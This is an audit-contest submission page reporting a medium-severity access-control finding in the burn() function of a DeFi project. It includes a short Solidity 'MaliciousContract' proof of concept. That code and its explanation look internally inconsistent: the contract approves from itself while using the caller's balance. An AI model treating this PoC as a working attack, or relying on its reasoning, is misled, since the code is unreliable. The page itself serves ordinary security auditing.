The Standard
The Standard
DeFiHardhat
20,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Valid

Potential Security Vulnerabilities in the Unrestricted burn() Function

tigerfrake

Summary

The burn function being externally visible poses a few potential threats:

Vulnerability Details

Unauthorized Access:

Since the function is external, any address can call it. This opens up the possibility for malicious actors to call the function repeatedly and burn tokens, potentially depleting the token supply and causing economic instability. This kind of attack is sometimes referred to as a "drain" attack

Unchecked Return Values:

The function assumes that the burn and safeTransferFrom functions will always succeed. However, these functions can fail and return false.

Attack scenario

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
​
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
​
contract MaliciousContract {
ERC20 public token;
address public burnFunctionAddress;
​
constructor(ERC20 _token, address _burnFunctionAddress) {
token = _token;
burnFunctionAddress = _burnFunctionAddress;
}
​
function attack() public {
uint256 amount = token.balanceOf(msg.sender);
token.approve(burnFunctionAddress, amount);
(bool success, ) = burnFunctionAddress.call(abi.encodeWithSignature("burn(uint256)", amount));
require(success, "Attack failed");
}
}

Here is a MaliciousContract that interacts with the burn function of the token contract. The attack function approves the MaliciousContract to spend the maximum possible amount of tokens on behalf of the attacker (msg.sender), then calls the burn function to burn those tokens.

Tools Used

VS Code
Manual review

Recommendations

It's recommended to check the return values of these functions and handle failure cases appropriately.
To mitigate these threats, it's important to implement access controls, rate limiting

Updates

Lead Judging Commences

hrishibhat Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

access-control

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.